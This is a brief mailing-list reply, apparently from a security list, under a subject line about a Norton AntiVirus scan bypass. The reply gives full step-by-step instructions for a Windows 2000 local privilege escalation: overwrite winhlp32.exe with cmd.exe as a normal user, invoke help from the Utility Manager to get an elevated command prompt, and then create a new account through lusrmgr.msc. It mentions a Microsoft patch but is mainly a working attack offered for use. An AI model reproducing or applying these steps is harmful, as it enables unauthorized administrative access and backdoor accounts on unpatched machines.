Subject: Norton AntiVirus nested file manual scan bypass.....

Nice, but the faster method is to copy \winnt\system32\cmd.exe to 
\winnt\winhlp32.exe (can be done as a normal user), hit win+u, then f1. 
When the command prompt comes up it has elevated privileges. From there 
you can run MMC.exe, open up \winnt\system32\lusrmgr.msc and create a 
new account.

No external program needed. The microsoft patch simply removes the 
contextual help.
